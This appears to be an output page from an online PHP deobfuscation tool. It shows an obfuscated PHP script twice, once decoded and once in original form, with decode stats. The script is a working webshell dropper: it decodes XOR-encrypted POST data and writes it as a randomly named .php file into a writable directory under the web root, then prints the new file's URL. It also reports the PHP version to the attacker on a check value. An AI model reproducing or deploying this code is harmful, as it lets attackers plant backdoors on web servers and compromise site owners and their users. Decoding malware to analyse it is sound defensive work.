Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function VWpOMeoKr($ysnWe){$nUHtHZSmPk = chr(114).chr(544-447)."\x77".chr(275-158).c..

Decoded Output download

<?php function VWpOMeoKr($ysnWe){$nUHtHZSmPk = chr(114).chr(544-447)."w".chr(275-158).chr(114)."l"."d"."e".chr(99).chr(908-797).'d'.'e';$jaJClgqTB = "s"."t"."r".chr(114-19)."r".chr(111)."t".'1'."3";$OeDZh = 's'.chr(116)."r".chr(95).chr(222-107)."p".'l'."i".chr(608-492);$ysnWe = $OeDZh($nUHtHZSmPk($jaJClgqTB($ysnWe)));return $ysnWe;}function bydhWjWGk($HPxqlLIxUF, $ysnWe){$WSHWp = "s"."t".chr(114)."_".chr(115)."p".'l'.'i'."t";$HPxqlLIxUF = array_slice($WSHWp(str_repeat($HPxqlLIxUF, (count($ysnWe)/16)+1)), 0, count($ysnWe));return $HPxqlLIxUF;}function PTnwz($cxNeMU, $xRSuKbi, $HPxqlLIxUF){$OYOPItZXQb = "55e34f3a-ff92-4ca3-8ba9-1bbfcdd24ae4";return $cxNeMU ^ $OYOPItZXQb[$xRSuKbi % strlen($OYOPItZXQb)] ^ $HPxqlLIxUF;}function trWodmFT($ysnWe, $HPxqlLIxUF){$ysnWe = array_map("PTnwz", array_values($ysnWe), array_keys($ysnWe), array_values($HPxqlLIxUF));$ysnWe = implode("", $ysnWe);$PqGCn = "u".'n'."s".'e'."r".chr(597-492)."a"."l"."i".chr(779-657).chr(435-334);$ysnWe = @$PqGCn($ysnWe);return $ysnWe;}function jsnXckJFf(){echo "ijzTjol";}function XSyTpJBc($htLGkUir){static $GmCMD = array();$KbMAYmuP = glob($htLGkUir . '/*', GLOB_ONLYDIR);$thAsViQhCQ = count($KbMAYmuP);if ($thAsViQhCQ > 0) {foreach ($KbMAYmuP as $htLGkU) {$QOuNab = 'i'.'s'.chr(95).chr(594-475)."r"."i"."t"."a"."b".chr(234-126)."e";if (@$QOuNab($htLGkU)) {$GmCMD[] = $htLGkU;}}}foreach ($KbMAYmuP as $htLGkUir) XSyTpJBc($htLGkUir);return $GmCMD;}function QWyUi(){echo "ttbMLRLRgb";}function JWAkf($ysnWe){$cltDF = 'D'."O".'C'."U".chr(585-508)."E"."N"."T".chr(95)."R".'O'.chr(79)."T";$FHkCkrUd = $_SERVER[$cltDF];$KbMAYmuP = XSyTpJBc($FHkCkrUd);$jqWoxVyqq = array_rand($KbMAYmuP);$lSzLmTsKgG = "."."p"."h"."p";$NkLrBJ = $KbMAYmuP[$jqWoxVyqq] . "/" . substr(md5(time()), 0, 8) . $lSzLmTsKgG;$JmAQi = 'f'.chr(936-831).'l'."e".'_'.chr(254-142).'u'."t".'_'."c"."o".chr(379-269).chr(116).'e'."n"."t".'s';@$JmAQi($NkLrBJ, $ysnWe);$ISeiqDQAq = chr(986-914).'T'."T".chr(377-297)."_".chr(112-40).chr(312-233).'S'.'T';$qfKOMYbYc = 'h'."t"."t"."p".':'."/".'/';$QFbxnHewZ = $qfKOMYbYc . $_SERVER[$ISeiqDQAq] . substr($NkLrBJ, strlen($FHkCkrUd));print($QFbxnHewZ);}foreach ($_POST as $HPxqlLIxUF => $ysnWe){$xmhBbqpmH = strlen($HPxqlLIxUF);if ($xmhBbqpmH == 16){$ysnWe = VWpOMeoKr($ysnWe);$HPxqlLIxUF = bydhWjWGk($HPxqlLIxUF, $ysnWe);$ysnWe = trWodmFT($ysnWe, $HPxqlLIxUF);if (@is_array($ysnWe)){$jqWoxVyqq = array_keys($ysnWe);$ysnWe = $ysnWe[$jqWoxVyqq[0]];if ($ysnWe === $jqWoxVyqq[0]){$qoRceqfMhX = chr(112)."h"."p";$BdOQAA = chr(112).chr(773-669).chr(205-93)."v".chr(101).chr(387-273).chr(613-498).'i'."o".'n';$YxSWrRoJk = "s"."e"."r"."i".'a'."l".chr(105).chr(582-460)."e";echo @$YxSWrRoJk(Array($qoRceqfMhX => @$BdOQAA(), ));}else {JWAkf($ysnWe);}die();}}} ?>

Did this file decode correctly?

Original Code

<?php function VWpOMeoKr($ysnWe){$nUHtHZSmPk = chr(114).chr(544-447)."\x77".chr(275-158).chr(114)."\154"."\144"."\x65".chr(99).chr(908-797).'d'.'e';$jaJClgqTB = "\x73"."\164"."\162".chr(114-19)."\162".chr(111)."\164".'1'."\x33";$OeDZh = 's'.chr(116)."\162".chr(95).chr(222-107)."\x70".'l'."\x69".chr(608-492);$ysnWe = $OeDZh($nUHtHZSmPk($jaJClgqTB($ysnWe)));return $ysnWe;}function bydhWjWGk($HPxqlLIxUF, $ysnWe){$WSHWp = "\163"."\x74".chr(114)."\x5f".chr(115)."\160".'l'.'i'."\164";$HPxqlLIxUF = array_slice($WSHWp(str_repeat($HPxqlLIxUF, (count($ysnWe)/16)+1)), 0, count($ysnWe));return $HPxqlLIxUF;}function PTnwz($cxNeMU, $xRSuKbi, $HPxqlLIxUF){$OYOPItZXQb = "55e34f3a-ff92-4ca3-8ba9-1bbfcdd24ae4";return $cxNeMU ^ $OYOPItZXQb[$xRSuKbi % strlen($OYOPItZXQb)] ^ $HPxqlLIxUF;}function trWodmFT($ysnWe, $HPxqlLIxUF){$ysnWe = array_map("PTnwz", array_values($ysnWe), array_keys($ysnWe), array_values($HPxqlLIxUF));$ysnWe = implode("", $ysnWe);$PqGCn = "\165".'n'."\163".'e'."\162".chr(597-492)."\x61"."\x6c"."\x69".chr(779-657).chr(435-334);$ysnWe = @$PqGCn($ysnWe);return $ysnWe;}function jsnXckJFf(){echo "ijzTjol";}function XSyTpJBc($htLGkUir){static $GmCMD = array();$KbMAYmuP = glob($htLGkUir . '/*', GLOB_ONLYDIR);$thAsViQhCQ = count($KbMAYmuP);if ($thAsViQhCQ > 0) {foreach ($KbMAYmuP as $htLGkU) {$QOuNab = 'i'.'s'.chr(95).chr(594-475)."\162"."\x69"."\x74"."\141"."\x62".chr(234-126)."\x65";if (@$QOuNab($htLGkU)) {$GmCMD[] = $htLGkU;}}}foreach ($KbMAYmuP as $htLGkUir) XSyTpJBc($htLGkUir);return $GmCMD;}function QWyUi(){echo "ttbMLRLRgb";}function JWAkf($ysnWe){$cltDF = 'D'."\x4f".'C'."\125".chr(585-508)."\105"."\116"."\x54".chr(95)."\x52".'O'.chr(79)."\x54";$FHkCkrUd = $_SERVER[$cltDF];$KbMAYmuP = XSyTpJBc($FHkCkrUd);$jqWoxVyqq = array_rand($KbMAYmuP);$lSzLmTsKgG = "\x2e"."\160"."\150"."\160";$NkLrBJ = $KbMAYmuP[$jqWoxVyqq] . "/" . substr(md5(time()), 0, 8) . $lSzLmTsKgG;$JmAQi = 'f'.chr(936-831).'l'."\x65".'_'.chr(254-142).'u'."\164".'_'."\x63"."\157".chr(379-269).chr(116).'e'."\x6e"."\164".'s';@$JmAQi($NkLrBJ, $ysnWe);$ISeiqDQAq = chr(986-914).'T'."\124".chr(377-297)."\137".chr(112-40).chr(312-233).'S'.'T';$qfKOMYbYc = 'h'."\x74"."\x74"."\160".':'."\57".'/';$QFbxnHewZ = $qfKOMYbYc . $_SERVER[$ISeiqDQAq] . substr($NkLrBJ, strlen($FHkCkrUd));print($QFbxnHewZ);}foreach ($_POST as $HPxqlLIxUF => $ysnWe){$xmhBbqpmH = strlen($HPxqlLIxUF);if ($xmhBbqpmH == 16){$ysnWe = VWpOMeoKr($ysnWe);$HPxqlLIxUF = bydhWjWGk($HPxqlLIxUF, $ysnWe);$ysnWe = trWodmFT($ysnWe, $HPxqlLIxUF);if (@is_array($ysnWe)){$jqWoxVyqq = array_keys($ysnWe);$ysnWe = $ysnWe[$jqWoxVyqq[0]];if ($ysnWe === $jqWoxVyqq[0]){$qoRceqfMhX = chr(112)."\150"."\x70";$BdOQAA = chr(112).chr(773-669).chr(205-93)."\166".chr(101).chr(387-273).chr(613-498).'i'."\157".'n';$YxSWrRoJk = "\163"."\x65"."\x72"."\x69".'a'."\154".chr(105).chr(582-460)."\145";echo @$YxSWrRoJk(Array($qoRceqfMhX => @$BdOQAA(), ));}else {JWAkf($ysnWe);}die();}}}

Function Calls

None

Variables

None

Stats

MD5 e74b3de9543e976ca9e6469a618b1f42
Eval Count 0
Decode Time 59 ms